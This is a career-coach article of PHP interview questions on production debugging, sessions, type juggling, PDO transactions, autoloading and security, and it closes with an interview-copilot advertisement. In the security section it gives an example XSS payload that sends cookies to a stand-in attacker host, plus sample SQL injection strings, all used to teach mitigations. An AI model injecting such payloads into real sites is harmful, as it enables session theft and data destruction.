PHP interview questions for junior to mid-level roles, built around production debugging, secure coding, and modern PHP 8 concepts like union types, match.
A deployment that passes every local test and then starts throwing mysterious auth failures in production is not a fluke — it's the exact scenario that separates developers who understand PHP from developers who have memorized it. PHP interview questions that matter are rarely about reciting syntax. They're about explaining what you'd actually do when a session stops persisting after a server restart, or when a JSON response looks fine in Postman but arrives garbled at the client. If you can walk an interviewer through that reasoning out loud, you already sound more hireable than most candidates who crammed definitions the night before.
The questions below are organized around the failure modes that show up in real PHP applications: broken auth, encoding bugs, type traps, database partial writes, autoloading failures after a refactor, and security gaps that only become visible when someone actually tries to exploit them. Knowing the PHP 8 features — union types, named arguments, match expressions, readonly properties — matters too, and they appear throughout. But the thread running through every section is the same: a strong answer is short, specific, and tied to a real failure mode.
PHP Interview Questions That Start With a Broken Production Bug
The best PHP technical interview questions don't ask you to define a term. They drop you into a broken system and watch how you think. These three scenarios come up in real interviews precisely because they reveal whether you debug systematically or just guess.
A Login Page Works Locally, Then Starts Failing in Production — What Do You Check First?
The answer that sounds like experience: start with the session configuration, not the application code. The most common cause of this specific failure is a mismatch between `session.save_path` on local versus production, or a PHP-FPM pool that doesn't have write access to the configured path. Before touching a single line of application logic, check `phpinfo()` on production (behind auth, not public), confirm the save path exists and is writable, and look at the error log for permission denials.
The dead ends a confident candidate avoids: blaming the framework session handler before confirming the PHP-level session is even persisting; assuming the database is the issue because the login query looks right; and reaching for `var_dump` before reading the actual log.
A real postmortem pattern looks like this: after a PHP 8.1 upgrade on a containerized deployment, sessions started failing silently. The log entry was `PHP Warning: session_start(): open(/tmp/sessions, O_RDWR) failed: No such file or directory in /var/www/html/bootstrap.php on line 14`. The first suspect was the session handler class. The second was a Redis config change. The actual cause was a Docker volume that wasn't mounting `/tmp/sessions` — a path that existed on the old host and was hardcoded in `.env.production`. The fix took four minutes once the log was read carefully. The debugging took forty because the first two suspects felt more plausible.
The follow-up an interviewer will ask: "How would you make session errors visible in production without exposing them to users?" The answer involves `log_errors = On`, `display_errors = Off`, and a centralized log aggregator — not `error_reporting(E_ALL)` dumped to the browser.
A JSON API Is Returning Junk Data — How Do You Isolate Whether the Bug Is in PHP, the Database, or the Client?
The answer: work backward from the wire. Start with the raw HTTP response using `curl -v` or a network tab, not the client application. If the response body is malformed JSON, the bug is in PHP's output layer — check for stray output before `json_encode()`, BOM characters in included files, or a `Content-Type` header mismatch. If the JSON structure is valid but the values are wrong, the bug is in the query or the data transformation. If the JSON is correct and the client is misreading it, that's a client-side encoding or parsing issue.
The part candidates usually get wrong: blaming the database before checking the PHP response directly. A PHP manual reference on json_encode will tell you that `JSON_THROW_ON_ERROR` exists precisely because silent `false` returns from `json_encode()` are a production hazard. Using it and catching the `JsonException` is a specific, concrete thing to say in an interview that signals you've actually shipped JSON APIs.
An Error Only Shows Up in the Logs After Deployment — How Do You Read the Warning, Notice, or Fatal and Move Fast?
The answer: read the error type before reading the message. A `Notice` about an undefined variable is usually harmless in isolation but signals a code path that wasn't tested. A `Warning` about a missing file or a failed `include()` means something is broken but PHP kept running — which is often worse than a fatal, because the application continues in a degraded state. A `Fatal error` or `ParseError` stops execution immediately and the log will tell you exactly which file and line.
The follow-up is always about observability: "How do you handle errors in production safely?" The answer is `set_error_handler()` for non-fatal errors, `set_exception_handler()` for uncaught exceptions, and a tool like Sentry or a structured log aggregator to capture context without exposing stack traces to end users. Saying "I'd turn on `display_errors`" in a production context is the answer that ends the interview early.
Sessions, Cookies, GET, and POST Are Where Candidates Quietly Lose Points
These are the questions that feel basic until the interviewer asks a follow-up. The distinction between what lives in the browser and what lives on the server is where a lot of candidates get fuzzy, and interviewers know it.
What's the Difference Between a Session and a Cookie When the Interview Turns Practical?
The answer: a cookie is data stored in the browser and sent with every matching request. A session is data stored on the server, referenced by a session ID that's usually held in a cookie. The practical difference is trust: you can't trust cookie values because the user can modify them. You can trust session values because the user only holds a key, not the data.
The classic failure mode is a candidate who says "sessions are more secure" without explaining why — and then can't answer the follow-up about what happens when the session ID itself is stolen. The answer to that follow-up is session fixation protection (`session_regenerate_id(true)` after login) and the `HttpOnly` flag on the session cookie, which prevents JavaScript from reading it. OWASP's session management cheat sheet is the authoritative reference here and worth reading before any PHP security interview.
When Should a Form Use GET Instead of POST, and What Changes in Production When You Choose the Wrong One?
The answer: GET is for idempotent, cacheable, bookmarkable requests — search queries, filters, pagination. POST is for state-changing operations — form submissions, logins, purchases. The production consequence of choosing wrong is concrete: a search form using POST breaks browser history and caching; a login form using GET exposes credentials in the URL, the server log, and the browser history.
The interviewer's follow-up is usually about CSRF: POST requests need CSRF tokens because they change state. GET requests don't change state, so they don't need tokens — but if you've accidentally used GET for a state-changing action, you've created a CSRF vulnerability that's trivially exploitable with a crafted link.
How Do You Explain Session Expiration, Cookie Flags, and Login Persistence Without Sounding Like You Memorized the Manual?
The answer: tie it to a broken "remember me" flow. A session expires when the server-side data is garbage collected (controlled by `session.gc_maxlifetime`) or when the session cookie expires in the browser (controlled by `session.cookie_lifetime`). A "remember me" feature that only extends the session cookie lifetime but not the server-side data will fail for users who return after the GC has already cleaned up their session — a bug that only surfaces in production traffic because local testing rarely waits long enough.
The `Secure` flag means the cookie is only sent over HTTPS. The `HttpOnly` flag means JavaScript can't read it. The `SameSite=Strict` or `SameSite=Lax` attribute limits cross-origin sending and is the modern mitigation for CSRF. A candidate who can name all three flags and explain what each one prevents — not just what it does — sounds like someone who has actually traced a broken login through browser DevTools and a backend config file.
The Type-Juggling Questions Are Where PHP 8 Interview Questions Get Sneaky
PHP's type system is where the language's history becomes a liability in interviews. PHP 8 interview questions on this topic are testing whether you understand the consequences of loose typing, not just the rules.
Why Do `==` and `===` Behave So Differently in Interview Code Examples?
The answer: `==` performs type coercion before comparing. `===` compares value and type without coercion. The trap interviewers use most often is `0 == "foo"` — which returns `true` in PHP 7 because `"foo"` coerces to `0`. In PHP 8, this specific comparison changed: non-numeric strings now compare as strings when compared to integers, so `0 == "foo"` returns `false`. Knowing that PHP 8 fixed this specific behavior — and being able to say why it was changed — is the answer that distinguishes a candidate who reads release notes from one who memorized a list.
The PHP manual on comparison operators has the full type comparison table, and it's worth knowing the rows that produce counterintuitive results: `null == false` is `true`, `null === false` is `false`, `"1" == true` is `true`.
How Does Type Juggling Create Bugs That Only Show Up in Edge Cases?
The answer: the bug is invisible until the input space includes the edge case. Consider a function that checks `if ($userId == false)` — it works correctly for every user ID until a user with ID `0` is created, at which point the condition incorrectly evaluates to `true`. This is the exact kind of bug that passes all tests in a system where auto-increment IDs start at 1, then surfaces in production after a data migration or a test fixture introduces a zero-value ID.
A real example from a bug hunt: a loose comparison in an authentication check was comparing a token string to a boolean. The token `"0"` evaluated as falsy, so a specific token value was silently rejected as invalid — not an error, just a failed login. The fix was a single `===` change. The investigation took two hours because the symptom looked like a session bug.
What Should You Say About Operator Precedence and References Without Overexplaining the Language?
The answer: keep it to one broken snippet and one fix. A common precedence trap is `$result = true || false && false` — because `&&` has higher precedence than `||`, this evaluates as `true || (false && false)`, which is `true`. Most candidates expect left-to-right evaluation and get the wrong answer. The practical fix is explicit parentheses, always.
For references: `$a = &$b` means both variables point to the same memory location. Modifying `$a` modifies `$b`. The bug shows up when a reference is passed into a function unintentionally — usually because a function signature uses `&$param` and the caller doesn't realize their variable will be mutated. The answer an interviewer wants is "I use references deliberately and rarely, and I document them when I do."
PDO and Transactions Are the Difference Between Safe Code and a Polite Disaster
PDO prepared statements come up in nearly every PHP technical interview, and the follow-up questions reveal whether a candidate understands why they matter, not just that they exist.
When Should You Use PDO and Prepared Statements Instead of Older Database Patterns?
The answer: always, for any query that includes user input. The older `mysql_*` functions are removed in PHP 7+, so this is partly a moot point — but the real answer is about why prepared statements prevent SQL injection. A placeholder like `:username` in a PDO query is never concatenated into the SQL string. The database receives the query structure and the parameter separately, so a malicious input like `'; DROP TABLE users; --` is treated as a literal string value, not executable SQL.
The portability argument matters too: PDO supports MySQL, PostgreSQL, SQLite, and others through the same interface. Switching databases doesn't require rewriting query logic — only the DSN changes. A candidate who mentions both the security reason and the portability reason sounds like someone who has thought about maintainability, not just correctness.
How Do Transactions, Commit, and Rollback Actually Save You During a Partial Failure?
The answer: atomicity. A transaction groups multiple writes into a single all-or-nothing operation. The scenario that makes this concrete: an e-commerce order creates a row in `orders`, then decrements stock in `inventory`. If the application crashes between those two writes, you have an order with no corresponding inventory change — a ghost order. With a transaction, the rollback undoes the first write automatically if the second fails.
A firsthand-style example: a payment processing flow used two separate queries without a transaction. The charge succeeded, but the order record failed due to a constraint violation on a foreign key. The customer was charged, the order didn't exist, and support had to manually reconcile it. The fix was wrapping both operations in `$pdo->beginTransaction()` / `$pdo->commit()` with a `catch` that called `$pdo->rollBack()`. The application log after the fix showed: `[2024-03-14 11:22:07] Transaction rolled back: SQLSTATE[23000]: Integrity constraint violation`. Clean. Recoverable. No ghost orders.
The PHP PDO documentation covers the transaction methods, but the interview answer should emphasize why atomicity matters, not just name the methods.
What's the Safe Way to Retry a Database Operation Without Duplicating Bad Data?
The answer: idempotency first, retry logic second. Before retrying any write operation, ask whether running it twice produces the same result. An `INSERT` without a unique constraint is not idempotent — retrying it creates a duplicate row. An `INSERT ... ON DUPLICATE KEY UPDATE` or an upsert pattern is idempotent — retrying it is safe. The interview answer that stands out is one that mentions unique constraints as the database-level guarantee, not just application-level retry counters.
Brute-force retry loops without idempotency checks are a production incident waiting to happen. A strong candidate says: "I'd make the operation idempotent at the database level first, then add bounded retry logic with exponential backoff — not an infinite loop."
Modern PHP Interview Questions Should Include Composer, Autoloading, and Traits
Questions about Composer autoloading and project structure separate candidates who have worked on real codebases from those who have only written single-file scripts.
How Do You Explain Composer and Autoloading Like You've Actually Shipped Code With Them?
The answer: Composer manages dependencies and generates an autoloader. When you run `composer install`, it reads `composer.json`, downloads packages into `vendor/`, and writes `vendor/autoload.php`. When your application calls `require 'vendor/autoload.php'`, PHP registers a class loader that maps namespaces to file paths using the PSR-4 standard. When you use a class, the autoloader finds the file and includes it — you never write a `require` statement for your own classes.
The difference between a candidate who knows what Composer does and one who has shipped with it: the second one can explain what happens when `dump-autoload` is necessary (after adding a new class outside the standard namespace mapping), and why running `composer install --no-dev` on production matters for both security and performance.
What Does a Namespace Mistake Look Like When a Deployment Breaks After Refactoring?
The answer: a `Class 'App\Services\PaymentService' not found` fatal error in production after a refactor that moved the file but didn't update the namespace declaration inside it. The file lives at `src/Services/PaymentService.php`, but the namespace inside still says `namespace App\Legacy\Services`. The autoloader looks for the file at the path implied by the namespace, finds nothing, and throws a fatal.
The fix is mechanical: namespace declaration must match the directory path relative to the PSR-4 root. The lesson is operational: always run `composer dump-autoload` after moving files, and always check the namespace declaration when a class-not-found error appears after a refactor. This is the kind of deployment incident that interviewers have personally experienced, which is why it comes up.
Where Do Traits Fit, and When Do They Turn Into a Design Smell?
The answer: traits are useful for sharing behavior across classes that don't share a parent — logging, timestamping, soft-delete logic. The concrete scenario where they help: a `Timestampable` trait adds `created_at` and `updated_at` logic to any model without requiring a common base class.
The scenario where they make debugging worse: a trait that modifies a property defined in the consuming class, with no interface contract enforcing that the property exists. The trait works until someone renames the property, at which point the failure is a runtime error in a method that looks like it belongs to a completely different class. The interview answer that lands well: "Traits are a composition tool, not an inheritance shortcut. I use them for genuinely shared, stateless behavior — and I get suspicious when a trait needs to know too much about the class that uses it."
Security Questions Are Where Strong Candidates Stop Hand-Waving
PHP security interview questions are where generic answers get exposed fastest. Every developer says "I validate inputs" — the interviewer wants to know what that actually means.
How Do You Explain XSS, CSRF, and SQL Injection Without Sounding Generic?
The answer: one attack path each, then the mitigation.
XSS: an attacker submits `<script>document.location='https://evil.com?c='+document.cookie</script>` as a comment. If the application renders it unescaped, every user who views the page sends their session cookie to the attacker. Mitigation: `htmlspecialchars($output, ENT_QUOTES, 'UTF-8')` before any user-supplied data touches the HTML output.
CSRF: an attacker hosts a page with a hidden form that POSTs to `yourbank.com/transfer`. If the victim is logged in and visits the attacker's page, the browser sends the request with the victim's cookies. Mitigation: a CSRF token — a random value stored in the session and included in every state-changing form, verified on the server before processing.
SQL injection: `SELECT * FROM users WHERE username = '$_GET[user]'` with input `' OR '1'='1` returns every row. Mitigation: PDO prepared statements, as covered above. OWASP's Top 10 lists all three as critical vulnerabilities and is worth citing by name in an interview.
What Should a PHP Developer Know About `password_hash`, `password_verify`, and Authentication Flow?
The answer: `password_hash($password, PASSWORD_BCRYPT)` produces a one-way hash that includes the salt and the algorithm identifier. `password_verify($input, $hash)` compares the input against the stored hash using a timing-safe comparison. The mistake to avoid — and to name explicitly in an interview — is storing passwords with `md5()` or `sha1()`, which are fast hashing algorithms designed for data integrity, not password storage. Fast means brute-forceable.
The authentication flow a strong candidate describes: hash on registration, verify on login, never store plaintext, never log the password, and use `password_needs_rehash()` to upgrade old hashes when the cost factor changes. Saying "I'd encrypt the password" is the wrong answer — encryption is reversible, hashing is not.
How Do You Harden File Uploads and API Inputs So They Don't Become an Incident?
The answer: validate on the server, not the client. For file uploads: check the MIME type using `finfo_file()`, not the file extension (which the user controls); enforce a maximum file size; store uploaded files outside the web root or in a cloud bucket, never in a publicly accessible directory; rename the file on storage to prevent path traversal. A concrete failure mode: an application that accepted `.php` files as "images" and stored them in `/public/uploads/` — the attacker uploaded a web shell and had remote code execution within minutes.
For API inputs: validate structure and types before processing, reject unexpected fields, and never pass raw JSON keys into a database query or a shell command. The interview answer that distinguishes a security-aware developer: "I treat every external input as hostile until it passes explicit validation — not just type checking, but business-rule validation too."
How Verve AI Can Help You Prepare for Your PHP Developer Job Interview
The problem with PHP interview prep is that reading answers is not the same as producing them under pressure. You can understand every concept in this article and still give a rambling, unconvincing answer when an interviewer follows up with "okay, but what would you actually check first?" That's not a knowledge gap — it's a performance gap, and it only closes with live practice.
Verve AI Interview Copilot is built for exactly this gap. It listens in real-time to the live conversation and responds to what you actually said — not a canned prompt. So when you're practicing the broken-session scenario and your answer drifts toward blaming the framework before checking the save path, Verve AI Interview Copilot catches the gap and prompts you to reorder your reasoning. That kind of feedback doesn't come from reading a Q&A list. It comes from something that can hear the answer you gave, not the answer you meant to give. Verve AI Interview Copilot stays invisible during the session, so the practice environment matches the real one. Run the PDO transaction scenario, the type-juggling snippet, the CSRF explanation — and get feedback on whether your answer sounds like someone who has shipped code or someone who memorized a definition.
Conclusion
The production-bug framing at the start of this article wasn't decoration. The PHP developer who keeps an application standing when something weird breaks — a session that stops persisting, a transaction that half-commits, a file upload that becomes a web shell — is the developer interviewers are trying to find. The questions in this article are the ones designed to surface that person.
Knowing the answers is necessary but not sufficient. The part that turns knowledge into interview-ready judgment is saying it out loud, under a follow-up question, without drifting into theory. Practice the scenarios in this article as spoken answers, not silent reading. Say why you'd check the session save path before the application code. Explain atomicity with the order-and-inventory example. Describe the XSS attack path before naming the mitigation. That's the version of PHP interview preparation that actually transfers to the room.
James Miller
Career Coach
